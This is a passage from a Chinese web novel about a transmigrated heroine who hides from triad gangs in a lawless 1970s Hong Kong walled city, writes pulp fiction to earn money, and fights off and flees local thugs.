温苒地道的港话瞬间打消这些人的怀疑,加上她镇定的反应和与他们要找的人截然相反的穿着发型,为首的男人挥了挥手,恶声恶气:“福角帮办事,现在没事,你可以走了。” 温苒挑了挑眉,看来文化人管理帮派是有两把刷子的,换个只知道打打杀杀的坐馆,为了找人怕是这条街都能给清干净两头堵了。 顺利离开帮派找人现场,出租车载着温苒来到五象城外。 路上温苒向司机打听五象城的情况,知道现如今城里处在南北两个帮派的管理下,南城南凤帮和北城北龙帮。 北龙帮势大财多,底下看场的四九仔也能喝汤吃肉。 相较之下,南凤帮人少钱少,堂口坐馆都寒酸得要命。 司机直接将温苒送到北城,温苒进城后用一包烟收买一位老太,跟她打听消息城里的消息,完了让她带自己去租房。 老太姓梁,梁阿太一听温苒要租房,拍着大腿喊巧:“我家隔壁刚好有间空屋,之前的租客帮派火并的时候受伤没了,你不嫌弃就跟我去瞧瞧?” 温苒现在没什么心气挑肥拣瘦了,五象城的环境比她设想中的底线还要低。 城里暗无天日,遍地垃圾,空气滂臭,巷道狭窄,墙壁角落满是青苔。 就在刚才,温苒站着的位置旁边,已经有数不清的虫子老鼠窜过去。 据梁阿太说,城里至今还未通水通电…… 而且和梁阿太去看屋的路上,温苒甚至还碰见有人当街大小便…… 温苒:“……” 其实,在原主当作家的心愿之外,她抽空去干翻福角帮,把男主剧本抢过来当个黑道龙头也可以的吧? 温苒强行压抑住拔腿冲出城的本能,跟着梁阿太上楼看屋。 梁阿太家和她家隔壁的屋子在同一个套间,一间屋住一家人,这间公寓总共五间屋和一个公用客厅。 “租金很便宜了,比南凤帮那边便宜很多,附近找工作也很容易,相信我,阿太不会骗你的,这里很划算的啊!” 温苒进屋转了一圈出来,梁阿太极力向她推荐。 温苒有些好笑,“阿婆,你是公寓的房东啊?” 这么积极向她推销? 梁阿太苦着脸摆手,“我怎么会是呢?实话跟你讲啊靓女,客厅的租金要所有租客平摊,缺一个人租屋我们几家每月要多掏十几块呢!” 温苒用手电筒打光看了一圈客厅,比起外面脏乱不堪的环境,客厅虽然拥挤但收拾得干净整齐。 懒得再去走街串巷看房子,这里还行。 温苒答应下来,梁阿太笑成了花,热情地带她去见房东。 温苒不打算在这里多待,重新买了张床,再从系统包裹里拿出一张折叠桌,不足十平米的小屋就布置完毕。 与此同时,在跛脚胜手下的人扒地皮一般找了三天却连温苒的一根头发都没找到后,孙荣美终于慌了。 电话里跛脚胜语气阴沉发狠:“福角没有我找不到东西,温太,人还在你那里吧,耍我很开心吗?” 孙荣美听见这话要疯了,她把温苒藏起来骗跛脚胜有什么好处? 孙荣美急急忙忙找借口解释:“胜哥,绝没有!胜哥,我们都被那个死丫头骗了,她会说港话,她早就跑出了福角所以我们才没找到!” 跛脚胜冷笑,“是吗?会说港话,跑出了福角,那你说她能跑去哪里?” 一旁 焦急踱步的温宝龙灵光一闪,“五象城!她一定去了五象城!” 只有五象城,是孙家和福角帮的势力都无法触及到的盲区! 孙荣美觉着不太可能,那死丫头才来香江几个月,门都没出过,上哪儿知道这么多? 不过不妨碍她用这个应付跛脚胜,“胜哥,她阿爸说了,她去了五象城!” 话筒里静了两秒,跛脚胜反问:“你确定?如果她不在五象城,温太要拿什么来为你儿子还债?” 孙荣美硬着头皮回道:“胜哥,五象城就连政府和警界都没办法……” 跛脚胜的语气气定神闲,“这个不用你担心,我在城里有些朋友,找个人不算麻烦。” 孙荣美提到嗓子眼的心脏又往上提了提,一面担心万一温苒也不在五象城怎么办,一面发愁如果温苒不在五象城她该拿什么堵上跛脚胜的嘴。 “那,那就麻烦胜哥了,公司正好在为上届港姐拍广告,不知道胜哥可否愿意赏光约美人共进晚餐?” 话筒里跛脚胜终于发出畅快的笑声,“求之不得!”【你现在阅读的是 】 100-110 第101章 第101章七零香江作家2 温苒去北城报亭低价买到近一个月来的各家旧报纸,回到出租屋翻了个遍,轻轻拍了拍最上头的《香江快报》。 要说赚钱,还得是这家小报。 明星豪门她知道的都换成了三千港币,艳俗风月小说她自认还是有底线的写不了,就只能写写狗血的世俗小说。 温苒提笔写下两行字—— 香江快报:《真假千金》; 小说报:《王牌沙展》。 论狗血单真假千金绝对可以争个前三,倘或再加上多角恋、替身和车祸失忆绝症等元素,称得上是泼天的狗血。 不过温苒不打算一开始就上强度,先写个低级狗血赚笔快钱。 她目前手上还有不到五千港币,得益于城寨内贫穷落后环境恶劣,这里的租金比城外便宜了三分之一还多,十平米左右的小屋租金二百二十块,押一付二是六百六十块。 另外一张床一把凳子花费一百多港币,折叠桌不要钱。 租钿加上置办家具的费用,花光了从孙耀业身上找到的八百多港币。 有系统包裹里包罗万象的物资,温苒不担心自己会饿死,但五千港币还不够付两年房租的,这实在不让她不心急。 霍骁北也不知道在哪里,他那边什么情况她没有剧情也不清楚,不管怎么说赚钱准没问题。 《真假千金》负责赚钱,《王牌沙展》则是悬疑推理小说,换个严肃的名字投给《小说报》,要是能出版,原主当作家的心愿就完成了。 《香江快报》是周报,在每周的周三发布新一期。 熬夜写完真假千金的投稿部分,温苒睡到中午才起,拿上零钱下楼去报亭买报纸。 路过鸭棚,狭窄的街面上歪七扭八躺满了吸得神志不清的人。 温苒皱着眉走完这段路。 据说北城一共有两处鸭棚,一栋赌馆和整整一条街的妓寨,日夜不休的营业。 能在帮派控制下开设这些‘生意’,其背后老板不外乎是帮派高层。 也就难怪北龙帮财大气粗,光是高层手里漏出来的肉汤就够底下的四九仔吃饱饭了。 到小卖铺找到《香江小报》,只见头版头条的标题写着‘惊!孙少痴迷赌博倾家荡产,孙氏恐危!’,温苒嘴角抽了抽。 这小报的老板绝对背后有人。 孙氏在香江算得上有头有脸的老牌豪门,小报一经发售迅速卖空,街头巷尾都在讨论孙少赌博赌到倾家荡产的大新闻。 看到‘孙少’二字,所有人先入为主都认为是孙家大房父子中的一位,没人会联想到孙家二房孙荣美的儿子孙耀业。 孙家大房父子是长房长子长孙,在外界和股东们眼里几乎是板上钉钉的继承人,这父子俩不管哪个赌博赌到倾家荡产都是股东无法接受的事情。 于是自小报发售后几天内,孙氏的股价一跌再跌,大房父子俩不得不出面辟谣再三表示绝没有赌瘾,且这辈子发誓绝不踏入赌场一步。 其他几房乐得看大房热闹,好事者还在家庭聚餐上把这件事无意间说给孙老爷子。 哪怕大房父子并没有赌,可说出来能给他们添添堵,何乐而不为? 大房父子俩趁机解释,并推出真正的罪魁祸首二房孙少孙耀业承受老爷子的怒火。 老爷子愤怒的眼神扫过全场,却没发现二房孙荣美一家,握着拐杖重重敲打地面,沉声道:“让那对不孝母子过来见我!” 接到电话的孙荣美吓得不敢再躲风头,拉上温宝龙急急忙忙赶过来。 一进来,其他几房就开始阴阳怪气,“哟,怎么只有三姐和三姐夫来,孙少呢?不会又去赌了吧?” 孙荣美竖起眉毛,当即发怒反驳:“六弟你不会说话就闭嘴!耀业正在家里反省,他已经知道错了,立志努力学习考上哥大,以后好好做人。” 孙家大房孙耀业的表哥,真正的孙大少此时无意间说道:“三姑恐怕不晓得,哥大对成绩有要求,不是掏钱就能进的学校,三姑也不怕表弟出国更加管不住自己,纽约飞拉城可是更方便呢。” 孙荣美听见这话眼前一黑,连忙去看老爷子的脸色。 孙老爷子老脸拉长阴沉沉的,孙荣美看了心里就是一串的咯噔。 其他几房瞅准机会添火,这个说孙耀业染上赌瘾肯定会败光家业,那个劝孙荣美放弃工作专心监督儿子戒赌,都打着让老爷子对二房失望把二房彻底摁死的主意。 在其他几房的围追堵截下,孙荣美十分艰难地才保住孙氏娱乐公司的经理职位。 二房的人心中大定,认为老爷子还没有彻底放弃二房。 其他几房却看得明白,老爷子轻拿轻放而不是严厉惩罚,才说明他真的对二房失望了。 事后孙荣美气得进了医院,醒来还给跛脚胜去了个电话,大骂他不遵守约定把秘密泄露出去。 跛脚胜能杀到堂口揸数的位置自然不是良善之辈,但他好歹是个文化人,自知理亏的情况下好声好气和孙荣美解释。 电话里他坚持不是他这边走漏的消息,“有没有可能是温太的那个继女呢?温太不是还说她很会伪装,懂得蛰伏下来再伺机逃跑,我的人翻遍福角也没找到她的下落,可见她心机之深。” 跛脚胜说着,心里对素未谋面的‘温苒’忽然起了莫大的好奇和兴趣。 聪明人总是更喜欢聪明人,跛脚胜自负聪明,更不会是个例外。 孙荣美沉默下来,跛脚胜的话不无道理。 她在处理这件事时尽可能亲力亲为,连最信任的秘书都没告知内情,最可能泄露的地点就是在家里。 孙荣美怀疑,或许是温宝龙无意间向温苒透露的,也或许是温苒刻意偷听她们的谈话。 但可能性最大的,即便孙荣美不愿意承认也必须承认,绝对是她那个不成器的儿子在床上得意忘形时吐露出来的! 老天爷!她到底做了什么孽才生了这么个讨债鬼! 孙荣美短暂地怨怪儿子几秒,立马把仇恨转移到温苒身上。 千错万错都是这个狐狸精的错! 她咬牙切齿地对电话另一边的跛脚胜道:“我出五千港币悬赏,必须尽快把她给我找到!” 她饶不了那个死丫头! 跛脚胜挑了挑眉,“那我先谢谢温太慷慨贡献赏金,替我寻女朋友啊。” 听出他话里的维护之意,孙荣美脑子嗡一下炸了。 狐狸精到底有什么本事,面都没见过就让跛脚胜这么钟情她? 孙荣美恨得眼睛快滴血,早知道她这么有本事就该让她去接客啊! 对于孙荣美的恶毒想法温苒一无所知。 她正在拜托梁阿太出城办事的儿子帮忙,先帮她把稿件送到《香江快报》的报社,然后帮她尽可能多买泡面和某个牌子的纯净水。 五象城现今并未通电通自来水,用的电是偷的,水一方面来自城里挖的几口井,一方面来自城内帮派组建的纯净水公司抽取地下水加工售卖。 五象城里常年不见天日,井水和地下水晒不到太阳,长期饮用对人体危害巨大。 温苒有系统包裹里的物资,自然不愁吃不愁水,但她不能只用这些物资生活。 否则别人都正常买菜买粮买水,就她不吃不喝却还能活着,不明摆着有问题吗? 所以她需要伪装,需要定期购买食物和水。 可是这样一来五千块根本不够花多长时间。 只希望她的稿件能让快报的编辑满意,另外,还得想办法把孙耀业的手表和打火机给卖出去。 头顶忽地罩下一片黑暗,遥远的嗡鸣声渐近渐远,温苒仰起头,视线将将捕捉到飞机尾翼消失在狭窄天空的残影。 温苒顿时气不打一处来。 这劳什子的飞机白天飞晚上飞,她没空拾掇出租屋,连隔音壁纸都没贴,这些日子简直一个好觉都没睡过。 气呼呼跺着脚上楼,温苒换了身衣服,拿上东西打算去南城一趟,把手表和打火机出手。 走了两条街,温苒麻木地绕过不知名物体后,放慢脚步竖起耳朵,有人在跟踪她。 她左右看看,飞快闪进一条漆黑的巷子,屏住呼吸静静等待。 “人呢?” 不多时,一道黑影出现在巷口,朝着里面探头探脑。 温苒故意弄出声响,人影猥琐地嘿笑两声,搓着手得意道:“靓妹原来躲在这里可让阿哥好找,哥哥这里有好东西快让哥噗——” 温苒实在听不下去,在人影靠近前闪身上前给了他一脚。 砰一声响,人影被高高抛起来砸进角落的垃圾堆里,头一歪晕过去不省人事。 温苒嫌弃地捏着鼻子走过去,弹出一颗药丸进那人嘴里,转身飞快离开。 心里念叨着晦气,温苒摸向衣兜,想着干脆在北城卖了算了,城里卫生实在太差,她可不想走路跟排雷似的。 结果摸进兜里的手找了半天什么也没找到,温苒:“???” 她记得她出门前就把东西放这里了! 总不能是落在刚才的巷子里吧? 温苒急匆匆回去寻找。 手电筒的光驱散阴影,角落里价值不菲的手表和打火机静静躺在一团颜色奇怪的淤泥里。 温苒:“……” 就是说,身为未来的大作家,她不是什么脏钱都愿意拿的。 转身走出几步,她痛心地闭了闭眼。 失策,出门前该算个卦的。 出门计划半路夭折,温苒垂头丧气回到租屋,定了定神开始做《王牌沙展》的小说大纲。 今天失去的,她要从这里拿回来! 梁阿太的儿子下午就回来了,温苒正在午睡,被梁阿太敲门叫醒,出来就看到门口摞着她要的东西。 五箱方便面五箱矿泉水,这么多东西应该都是梁阿太的儿子搬上来的。 温苒回屋拿钱出来,把这些东西的费用和梁阿太结算,当然不会少了额外的辛苦费。 梁阿太数着多出来的钱很满意,回屋里放下后拿着一小包点心出来塞给温苒,“这家铺子的糕点味道很好,阿婆请你尝。” 说完梁阿太拉着温苒在客厅坐下,“阿婆跟你讲,阿婆回来前听到个大新闻,那个经常跟踪靓妹占便宜的矮仔强不知被谁仗义行侠打断了腿!” 温苒缓缓抬起头。 跟踪占便宜…… 该不是今天她教训的那个人吧? 不过她什么时候打断那狗东西的腿了? 哦,也不对,非要说她其实废了对方一条腿。 梁阿太压低了声音:“那位大侠最好别被找出来,矮仔强跟他表哥收数华很要好,收数华是三丙堂坐馆笑哥的得力干将,收数华一定会为矮仔强出头的。” 第102章 第102章七零香江作家3 出头就出头吧,先找到大侠本侠再说。 温苒比较好奇的是:“腿真断了吗?” 梁阿太摇头,从表情到语气都在可惜:“没有啊!被送到南凤帮新开的诊所了,听说那家诊所的大夫虽然年轻但医术很好,肯定能救回来的!” 温苒跟着一起摇头,那真是太可惜了。 南城新开的诊所里,伴随着里间矮仔强的鬼哭狼嚎,外间的四九仔们议论纷纷。 “听说是被寻仇啊,叫他整天色眯眯不老实,报应这不就来了?” “不是啊,我听说是被暴力女活生生打断腿的。” “哇!那可惨了!矮仔强的表哥很能打的,还是三丙堂坐馆跟前的红人,他肯定会给矮仔强找场子的。” 出来扔垃圾的平头伟见他们捣药偷懒,骂道:“动作不要停!不然我喊北哥出来教训你们!” 一群四九仔连忙道歉讨饶:“不会啦不会啦!千万不要告诉北哥!” 北哥不仅很能打,还很能扣工资的! 平头伟转身回里间,他不叫外面的四九仔讲,反倒自己讲得起劲。 “北哥不要听外面瞎传,矮仔强的腿是自己摔的,他头上的伤才是被打的,听说他盯上了北城新来的靓女租客,没想到这次踢到铁板了,简直活该啊!” 一旁被讨论的话题中心矮仔强疼得意识出窍,否则定要跳起来跟平头伟理论理论。 霍骁北嗯了声,反应平平,对矮仔强怎么受伤的不感兴趣。 他洗干净手收拾医箱,脑子里则在想别的事。 已经半年了,前几天系统日志里终于有了温苒取用包裹物品的记录。 他想过在包裹里放纸条告知温苒自己的所在,但纸条放进去就像一滴水掉进大海,在浩如烟海的物品中根本不起眼。 系统日志里,非签到奖励物品的取放只会描述成‘XX放入/取出一样物品’,就算温苒看到,也没办法使用搜索功能直接找到纸条。 即便使用分类筛选功能,纸条也只能算作杂物,杂物栏长得划不到底。 而之前开辟的龙珠空间,在上个世界结束就交给系统完善,这个世界无法使用。 最后的最后还有个办法是使用签到奖励的浴室,可也有个问题。 浴室允许两人进入,但必须要在一处同时进入。 而如果先后进入,浴室有自清洁功能,前一个人留下的痕迹后一个人是无法看到的。 前一天,温苒还以为自己是做好事不留名的女侠,没成想转天矮仔强就拖着腿带他表哥收数华来找麻烦。 温苒:“……” 昨天她和矮仔强只在乌漆嘛黑的巷子里打过照面,现在对方找上门来,说明根本不是随机挑选,而是早就盯上她了。 “表哥,就是这个贱人!我的头我的腿就是被这个贱人打的!表哥你一定帮我跟她算账!” 矮仔强头包纱布腿打石膏,表情愤恨又垂涎地盯着温苒。 他表哥收数华带着一群马仔,身强体壮面相凶狠,浑身的煞气,一看就不好惹。 此时矮仔强说完,收数华细小的眼珠转动,瞥向客厅里淡定坐着的温苒,“就是你动我表弟?” 梁阿太在温苒旁边忙站起来,小声道:“华哥啊,是不是弄错了,我们阿苒力气很小的,怎么可能把矮仔强打这么惨?” 矮仔强伸手指着梁阿太,发狠道:“你个老坑婆懂咩啊?滚开!” 随着他出声,收数华带来的马仔适时走到前面来,神情凶狠地逼视梁阿太和其他一众人,警告她们不要多管闲事。 温苒也并不想牵连无辜,在木筒里挑了双筷子,起身上前。 挡在门口的马仔们笑着挺身而出阻拦温苒,温苒捏着筷子抽出去。 只听嗷嗷几声凄惨的喊叫后,这群凶狠马仔痛苦地弯下腰,整条手臂无法控制地绷直发颤。 温苒轻而易举来到矮仔强面前。 随着她一步步靠近,矮仔强狂吞口水,明明筷子连他的边儿都没挨着,却浑身打着摆子,瞅着比那几个马仔 还痛苦。 温苒往前一步,矮仔强就下意识往后逃一步。 温苒抬起筷子,收数华伸手去拦,筷子抽在他手臂上,他当即瞪大眼浑身一僵,继而抱着抽搐的手臂痛苦地嚎出声来。 温苒又抬起筷子,矮仔强下意识抱头尖叫,转身拔腿就跑,却忘了身后就是楼梯,也忘了他一只腿打着石膏,踩空了人直挺挺地倒下去。 收数华甚至只来得及伸出手,“细佬!” 砰咕噜噜砰—— 一连串的撞击后,矮仔强倒仰在楼梯脚抽搐几下,又晕死过去。 听见声响,躲在屋里的邻居们纷纷忍不住出来看热闹。 “要不要送医啊?” “不会死了吧?” 收数华目眦欲裂地看着下面的矮仔强,高喊一声‘表弟’就冲了下去,顾不上接着找温苒麻烦,他抱起矮仔强就跑没影儿了。 他带来的马仔们见状,抱着手臂纷纷跟上撤退,只不过路过温苒时一个个都恨不得离八丈远。 找麻烦的人都走了,温苒扔掉筷子拍拍手,一回身就见合租的室友们目瞪口呆地望着她。 梁阿太两眼发直,“阿、阿苒,你你你——” ‘你’了半天,梁阿太都没能说出个什么来。 实在是温苒太让她们震惊了,谁能想到她还有这身手呢? 从震惊中缓过神来,梁阿太一众拉着温苒七嘴八舌地追问,“阿苒你、你那样,让他们手臂抽搐是怎么办到的?” 温苒解释:“我只是正好抽在穴位和经络上。” 当然也要力气大动作快才行。 梁阿太担忧道:“阿苒你这下可是把他们兄弟得罪死了,万一收数华向笑哥告状,笑哥为他出气怎么办?” 温苒安慰她:“不会的阿婆。” “矮仔强是收数华的表弟收数华才会为他出头,笑哥又不是收数华的表哥。” “相反收数华今天找麻烦不成反吃瘪,狠狠丢了脸,他才更要瞒着笑哥。” 毕竟收数华听名字就知道是个要债的,看家本事就是能打,不能打就无用。 “不然传出去他带那么多马仔却连我都打不过,笑哥会怎么看他?会不会觉得他没本事?” 这是她和矮仔强兄弟的私事,笑哥怎么说也是堂口坐馆,下面的事他一个大佬才懒得管。 梁阿太这才放心。 不过温苒得罪矮仔强兄弟已经是铁一般的事实,笑哥是大佬不会掺和进来,但招惹上收数华也是个不小的麻烦。 别的不提,若是收数华威胁房东不租屋给她,温苒也只能捏着鼻子认下,收拾行李走人。 好在这偌大的五象城不是他收数华一手遮天的地方,北城待不下去她还能去南城,北龙帮和南凤帮虽然到不了势不两立的地步,可暗中针锋相对也不是一天两天了。 矮仔强刚出院就喜提二进宫。 霍骁北面无表情检查完,给出诊断:“死不了。” 收数华瞪了瞪眼,到底没敢责怪他态度不好。 就不说医术,光说身手霍骁北就有态度恶劣的底气,他可不想兄弟俩一起躺板板。 矮仔强旧伤添新伤,这下是彻底趴菜没法下床了,老老实实躺在家里养病病,也没再提找温苒麻烦的事。 收数华却没把这茬儿揭过去。 如温苒所说,他丢了个大脸,带人找事反被教训,传出去都在笑话他孬货没本事。 笑话! 他收数华收过多少债,逼死过多少人,多少家庭因为他家破人亡,他手上人命累累他孬货? 不过是个有几分身手的小娘们儿,收数华就不信还拿她没办法了? 贴着诊所自制的膏药,收数华今天去赌馆看场,无视一众人看好戏的眼神,他黑着脸找了个角落独自待着。 离得最近的麻将桌上的交谈传入他耳中。 “新福会在福角的堂口揸数跛脚胜要在我们城里找人,你知不知为咩啊?” “碰!为咩啊?” “六筒!前几天登报的孙少,在跛脚胜堂口下的赌场豪赌几场,输掉孙氏的股份,他阿妈把继女赔给跛脚胜,结果继女逃跑逃进咱们城里了!” “哇!那可惨了,跛脚胜不当人的,玩够了就扔去拍片子揽客的。” “她继母出五千港币悬赏呢,你们帮忙留意,是个年轻靓妹,姓温叫温苒……” 靠在墙上闭目养神的收数华唰地睁开眼睛。 温苒! 他三步并两步冲到麻将桌前,激动抓着那人追问:“谁?你说她叫什么?” 那人愣愣回道:“温、温苒。” 他眼睛睁了睁,喜道:“你知道?” 收数华拍着桌子畅快地大笑,“温苒!对!就是温苒!我知道她在哪儿!” 第103章 第103章七零香江作家4 走在去南城的巷子里,一阵湿润的冷风吹来,温苒重重地打了个喷嚏。 这天气看着快要下雨了,她拢了拢外套,早去早回。 以防被房东赶出去,温苒决定先行一步去南城探探情况。 只希望收数华动作不要那么快,好歹等她找到合适的房子再动手。 也希望到了南城不要再出什么意外,不然她只能一边写小说当作家,再一边发愤图强捞个黑道大佬当一当了。 不来南城不知道,来了南城温苒就后悔了。 也没人和她说南城的街道这么干净啊? 南城也没有鸭棚赌馆和妓寨,更没有吸晕了往地上一躺的行尸走肉,就连街边的餐馆都很有吸引力。 因为北城脏乱差的环境,梁阿太推荐的几家味道不错的餐厅温苒都提不起兴趣,大多时候连门都不愿意出。 早知道南城环境这么好,房租就是再贵上一倍她也愿意啊! 和中介看了几处屋,到了饭点温苒直奔南城的招牌餐厅,赶上最后一份烧鹅饭,可惜隔壁的叉烧饭没有了。 平头伟拎着两份叉烧饭和猪脚饭回到诊所,“北哥,你要的烧鹅饭卖光了,明天我们出城,看来要后天才吃得到。” 霍骁北对吃的不挑,反正不是和媳妇儿一起吃吃什么都没区别。 平头伟大口扒着饭菜,“北哥,官署真的同意 向城里供电供水了?” 霍骁北洗干净手坐下吃饭,“嗯,明天就是去官署确认这件事。” 平头伟激动地挥拳,“我就说没有北哥办不到的事!官署的人那么难搞都能搞定。就是北城那边还没有回信,明明是利民的大好事,偏偏北龙帮三推四推,唯恐我们南凤帮不安好心!” 这时诊所外走进来一名中年男人,“哪是因为我们南凤帮不安好心,分明是他们北龙帮一直偷电不想缴电费啊!” 平头伟连忙抹干净嘴,起身帮忙搬来张凳子,“利叔坐,是不是北龙帮有回信了?” 利叔坐下摆手,“没那么快的,他们北龙帮都是一群要钱不要命的,我看有的谈呢。” 他转头看向霍骁北,“阿北,明天和官署谈判全靠你了,一定要把南城的水电定下来。北城怎样无所谓的,到时我们就看他们后悔。” 霍骁北实话实说:“官署之所以答应向城里供电,主要是杜绝偷电行为增加收入,如果只向南城供电非但无法达成目的,还会方便他们偷电。” 到时北龙帮都不用去城外,就近偷接上南城的电线不要太省事,而多出来的电费都得南城居民替他们掏。 要知道,北城的赌馆鸭棚和制毒坊可是二十四小时开工,堪称天价电费。 利叔气愤地拍了下桌子,“欺人太甚!如果北城敢偷我们南城的电,我就带人剁了他们的三只手!” 霍骁北平静地解决午饭,盖上盒子说道:“通水通电势在必行,如利叔所讲,先礼后兵,不愿意就打。” 得到他的回答,利叔满意地笑出来,“阿北果然是阿北!” 温苒吃到一半,外面突然下起了大雨。 一边等雨停,她翻看角落里的报纸,到了和中介约好的时间雨还没停,她借餐厅的伞跑去小卖铺买了把伞。 和中介商量过几天来签合同,温苒就回了北城收拾行李,明天再去找房东退租。 夜里雨下得更大,伴随着大风吹得门窗哐哐作响。 这种天气倒是没有恼人的飞机了。 但温苒睁着俩大眼睛毫无睡意,她心想,还不如飞机呢…… 天亮后雨小了些,温苒才终于得以睡了个短觉。 中午天气彻底放晴,犄角旮旯里常见晒不到的太阳租屋都比平时亮堂些。 温苒揉着眼睛起床穿衣,去系统的浴室里洗漱干净出来,看了眼时间,决定下午找房东退租。 取出一份盒饭解决掉,她继续《王牌沙展》的大纲,这场大雨给她带来了灵感。 这一写就到了傍晚,温苒整理好稿纸,和回家烧饭的梁阿太等人打过招呼,去隔壁单元找房东。 结果房东不在,只有他老母和老婆在。 两个人听说温苒来意纷纷摆手:“租屋的事我们不知啊,都是他来的,你等他回来跟他讲喽。不过他最近很忙,等他回来我跟他讲去找你了,反正你的租期才半个月,放心住啦。” 身为大房东,这家住的也没多宽敞,一处同样格局的公寓才占了两间屋。 这个点下班下学,公寓里人很多,客厅都挤不下脚。 温苒只好先退出去,心里却觉得怪怪的。 回到租屋,梁阿太烧好饭喊她去吃,“退租的事情谈好了?屋主没扣你的租金吧?” 温苒摇头,“屋主不在,他老婆说他最近很忙。” 梁阿太十分震惊,“他能有什么事?他天天泡在麻将馆,收租金才肯出来。” 她拿了双筷子给温苒,“不过他不在你只能先等等,他老母是个守财奴,只有他才要得出钱来。” 梁阿太今天炒了河粉,这顿饭不是白吃的,温苒吃完没有回屋,而是帮阿太的孙子孙女检查作业。 梁阿太端着碗筷下楼,很快洗干净回屋,“阿苒,阿婆跟她们打听了,屋主这几天都在麻将馆通宵,本来昨天要回家的,但下了大雨,想来明天就能见到他了。” 温苒松了口气,还好没什么意外,“谢谢阿婆。” 转念一想也是,收数华要报复她应该让房东退她租才对。 眼下看来对方还没用退租这招,就是不知道在憋什么坏,温苒打定主意早退早去南城,好尽快尝尝昨天没吃到的叉烧饭。 夜深了,飞机轰隆隆驶过五象城上空。 北城的赌馆内,马仔从外面进来,急匆匆来到收数华跟前,“华哥,那个女人去找屋主退租了。” 角落里,听完禀报收数华低头狠狠吸了口烟,手里把玩着表弟送他的名牌打火机,视线在大堂的牌桌上转了一圈。 “继续让人盯着,屋主别放他回去,等胜哥那边的消息再行动。” 小弟迟疑道:“华哥,这件事为咩不告诉笑哥?” 收数华夹着烟吐了口烟圈,隔着升腾的烟雾眯着眼看自己马仔,他神情发狠:“老子TM受够给人看场当狗了!” 小弟忧心忡忡,“可是华哥,万一被笑哥发现我们……” 收数华打断他的话,用力拍他的肩膀,弯下腰靠近了用只有两人能听到的音量说道:“笑哥能领坐馆我华哥也能,你不讲我不讲无人会知道,搭上跛脚胜往福角卖粉,在龙爷面前我们也能有一席之地。” 说完了宏图大志,收数华给马仔画大饼,“放心,等华哥当上坐馆……” ** 和官署的谈判并不顺利。 官署想在整个五象城铺设电线收费,霍骁北却只能代表南城。 无奈,一行人只好在城里多留了几日。 最终南凤帮现在的龙头老大陆爷亲自出面,向官署保证会尽快取得北城的合作,官署才愿意继续商量具体流程。 多浪费了几日,敲定大致方案后,霍骁北才搭陆爷的车回城。 车上,副驾的陆爷扭着身体向后,眼神放肆地打量霍骁北。 察觉到他的视线,闭目养神的霍骁北都懒得睁眼。 霍骁北:“说。” 陆爷摸着下巴,和江湖辈分严重不符的是他过分年轻的脸。 “北哥啊,北城有场好戏,你想不想看了?” 霍骁北没搭理他,用实际行动表示自己的回答。 陆爷却不恼,自顾自说下去:“三丙堂的笑哥哦,手下养出个二五仔,和福角堂的跛脚胜眉来眼去,我看是想造反喽。” 霍骁北终于开了尊口:“卖笑哥个人情,让他说服龙爷答应通水电。” 陆爷挠头,干巴巴的语气透着心虚:“可我想看他们狗咬狗,昨天问完就把人放回去了……” 霍骁北:“……” 陆爷一看就知道他现在心情变得更差了,至于为什么说更差,因为就没见他心情好过。 陆爷赶紧搜肠刮肚转移话题,“北哥你知不知笑哥的人是怎样和跛脚胜搭上线的?” “原来啊,跛脚胜最近在城里找人,是个女人啊,那女人好暴力的,把笑哥的人都打进诊所了!” “我还听说,那女人是孙少的继妹啊,人很靓,跛脚胜很喜欢。” 陆爷呱呱个不停,霍骁北听得烦,干脆利落喝止:“闭嘴!” 陆爷下一句话都到嘴边了,吓得不得不咽回去,让他那个难受。 憋了没多久,陆爷就憋不住,“那个靓女要来南城租房,北哥你说我们要不要答应?” 霍骁北:“随你。” 陆爷低声哼哼,“北哥你这样不怜香惜玉,注定孤寡一生的!” 霍骁北:“不会像你。” 他有媳妇儿。 陆爷:“……” 他瞪眼,不是,你个光棍怎么好意思语气这么骄傲的? 北城。 收数华派去联络跛脚胜的马仔回来,一同带来的还有个不太妙的消息。 收数华死死盯着马仔,“你被抓了?有没有说不该说的?知道是谁的人吗?” 马仔浑身哆嗦,“华、华哥,不是我嘴不严,我不讲他们就把我交给笑哥,我才、才……” 收数华不甘心地锤了下桌子,手离开时扳起桌沿一脚踹过去,麻将桌翻倒在地。 “走!” “跟我去抓人!” 消息走漏必定会传到笑哥那里,他动作必须要快,抓住那个女人才 有谈判的筹码。 温苒正沉浸在剧情中时,屋门被撞得砰砰作响,打断了她的灵感。 笔尖一飘划出长线,温苒暴躁地拍下钢笔,“谁啊?” “来收租!” 门外的人这样回答。 温苒:“……” 她反应了不到半秒,动作迅速地收起租屋里所有个人物品。 四下看了看空荡荡的房间,温苒来到窗边。 所幸和对面楼的窗户隔得不近,她飞快观察三楼到一楼墙壁的情况,掏出绳索挂在窗沿上,果断跳下去。 下一秒,完好无损的屋门被破开,收数华带着马仔冲进来,窗户大开而温苒的身影已消失不见。 收数华奔到窗边,刚好看到绳爪落下去被温苒抓在手里。 顺利脱身温苒心情很好,还有兴致地和收数华挥手打招呼,打完招呼选了个条路飞快跑开。 收数华愤愤地锤拳,“贱人!” 他转身大吼:“还不快去抓!一定给我抓到!不惜一切代价!” 马仔们纷纷冲出去抓温苒。 收数华沉着脸拔出一把枪,瞄准即将跑进巷子里的身影,抢在她之前扣动扳机。 “贱人去死!” 砰—— 子弹打在墙壁上擦出火星,弹片四散弹开。 第104章 第104章七零香江作家5 温苒庆幸自己跑得不算快,躲过子弹后抱头冲进巷子,朝巷子出口看热闹的居民大喊:“收数华开枪杀人了!快跑!” 人群顿时一哄而散。 五象城处在帮派统治下,争抢地盘火并群架是常有的事,但一般会事先通知普通人躲回家,火并地点也刻意避开居民区,更鲜少动用枪弹。 收数华丧心病狂,一声招呼不打直接开枪,让温苒不得不放弃混进人群逃走的想法。 可恨她不常出门,除了走过的几条路全无头绪,而那些四九仔却对北城了如指掌。 眼下温苒唯一的去处就是南城。 城外有跛脚胜和孙荣美等着她,北城有收数华要置她于死地。 温苒再次躲过抓她的马仔,一边跑一边思考。 还要以防万一,如果南凤帮不想和北龙帮起冲突势必会选择驱逐她。 所以她要有筹码,这个筹码的分量足以让南凤帮选择她。 她的倚仗并不算多: LV10满级的神级医术; LV10满级的天师术,精通奇门遁甲八字风水符箓阵法……; LV5满级的演技。 挥动棒球棍撂倒四九仔,温苒迅速遁入漆黑的巷子里,一枚子弹随即打在她刚才的落脚处。 赶在收数华追上来前,温苒猫着腰飞快从另一侧巷口离开,逃跑时一路七拐八扭,后果就是现在的位置全然陌生。 凭着大致的方位,她飞快给自己算了一卦。 